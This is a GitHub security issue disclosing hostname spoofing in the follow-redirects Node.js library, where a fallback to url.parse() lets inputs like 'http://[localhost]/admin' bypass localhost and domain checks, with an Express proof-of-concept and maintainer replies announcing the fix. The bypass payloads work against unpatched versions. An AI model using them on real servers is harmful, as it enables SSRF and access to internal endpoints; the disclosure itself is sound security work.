Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security Report] hostname spoofing via url.parse in follow-redirects #235

Closed
domdomi3 opened this issue Dec 29, 2023 · 5 comments · Fixed by #236
Closed

[Security Report] hostname spoofing via url.parse in follow-redirects #235

domdomi3 opened this issue Dec 29, 2023 · 5 comments · Fixed by #236
Assignees
Labels

Comments

@domdomi3
Copy link

domdomi3 commented Dec 29, 2023

By the way, I read about Security.md but huntr.dev service has changed to AL/ML open source bugbounty platform. So I couldn't report it to there. Because of that reason, I'm writing it here.

Description

Below is part of follow-redirects's index.js code.

function urlToOptions(urlObject) {
  var options = {
    protocol: urlObject.protocol,
    hostname: urlObject.hostname.startsWith("[") ?
      /* istanbul ignore next */
      urlObject.hostname.slice(1, -1) :
      urlObject.hostname,
    hash: urlObject.hash,
    search: urlObject.search,
    pathname: urlObject.pathname,
    path: urlObject.pathname + urlObject.search,
    href: urlObject.href,
  };
  if (urlObject.port !== "") {
    options.port = Number(urlObject.port);
  }
  return options;
}

It checks URL hostname which is startswith [ character.
Which means if the urlObject is http://[localhost]/, then it converts to http://localhost/.

But actually above code is not vulnerable code.
(Just the idea comes from above code)

The problem comes from below code.

    function request(input, options, callback) {
      // Parse parameters
      if (isString(input)) {
        var parsed;
        try {
          parsed = urlToOptions(new URL(input));
        }
        catch (err) {
          /* istanbul ignore next */
          parsed = url.parse(input);
        }
    /* below code skipped */

urlToOptions() function is called after new URL().

When new URL('http://[localhost]') it throws an error which is Invalid URL.
Then it goes catch{ } phrase.

At the catch{ } phrase, there is vulnerable function which is url.parse().

url.parse('http://[localhost]') sees URL to http://localhost.

Let's look at PoC code.

Proof of Concept

// PoC.js
const express = require("express");
const http = require('follow-redirects').http;
const app  = express();
const port = 80;

const isLocalhost = function (url) {
    try{
        u = new URL(url);
        if(u.hostname.includes('localhost')
        || u.hostname.includes('127.0.0.1')
        ){
            return true;
        }
    }catch{}
    return false;
}
app.use(express.json())

app.get("/", (req, res) => {
    res.send("Hello World");
})

app.post("/request", (req, res) => {
    let url = req.body.url;
    let options = {
        'followRedirects':false
    }
    if(req.body?.url){
        if(isLocalhost(req.body.url)){
            res.send('Localhost is restricted.');
            return;
        };
        http.get(url, options, (response) => {
            let data = '';
            response.on('data', chunk => {
                data += chunk.toString();
            });
            response.on('end', () => {
                res.send(data);
            })
        }).on('error', (e) => {
            console.log(e);
            res.status(500).send('Server Error');
        })
    }else{
        res.send('URL is required.');
    }
})

app.get("/admin", (req, res) => {
    if(req.socket.remoteAddress.includes('127.0.0.1')){
        res.send('Admin Page');
    }else{
        res.status(404).send('Not Found');
    }
})

app.listen(port, () => {
    console.log(`App listening on port ${port}`)
})

Above is Web Server built by express and follow-redirects. If user requests like below.

POST /request HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json
Content-Length: 34

{"url":"http://[localhost]/admin"}

Server responses Admin Page.

This is just an example code. There could be other cases using this vulnerability.
And also hostname spoofing does not only affect localhost. It is also possible for other domains.

# Case 1 : Bypassing localhost restriction
let url = 'http://[localhost]/admin';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://localhost/admin
}

# Case 2 : Bypassing domain restriction
let url = 'http://attacker.domain*.allowed.domain:a';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://attacker.domain/*.allowed.domain:a
}

The main point is that inside of folow-redirects module, it uses vulnerable function url.parse() when new URL() throws error.

url.parse() functions is now deprecated and it has hostname spoofing vulnerability.
You can check this site for unerstanding.
https://hackerone.com/reports/678487

Impact

Hostname spoofing may cause open redirect, SSRF, etc.

Occurences

https://github.com/follow-redirects/follow-redirects/blob/main/index.js#L503

@RubenVerborgh
Copy link
Collaborator

Thank you for the very thorough investigation and explanation.

We should probably just not support wrapping the hostname in brackets. I'll have a look.

@domdomi3
Copy link
Author

You may test with this dockerfile that I wrote for testing poc.
https://github.com/domdomi3/follow-redirects-test

@RubenVerborgh RubenVerborgh self-assigned this Dec 29, 2023
@RubenVerborgh
Copy link
Collaborator

Thanks, working in #236

@domdomi3
Copy link
Author

May I request CVE number for this issue?

@RubenVerborgh
Copy link
Collaborator

Absolutely; too bad that huntr.dev did not work out, they did all of that automatically. Fixed in v1.15.4 btw!

robertbagge pushed a commit to robertbagge/twilio-node that referenced this issue Jan 12, 2024
That versions patches `follow-redirects` package to a version that does
not have the following vulnerability - follow-redirects/follow-redirects#235
robertbagge pushed a commit to robertbagge/twilio-node that referenced this issue Jan 12, 2024
That versions patches `follow-redirects` package to a version that does
not have the following vulnerability - follow-redirects/follow-redirects#235
tiwarishubham635 added a commit to twilio/twilio-node that referenced this issue Apr 5, 2024
* Upgrade axios to version 1.6.5

That versions patches `follow-redirects` package to a version that does
not have the following vulnerability - follow-redirects/follow-redirects#235

* Upgrade axios to 1.6.8

---------

Co-authored-by: Robert Bagge <rob@satis.ai>
Co-authored-by: Shubham <tiwarishubham635@gmail.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants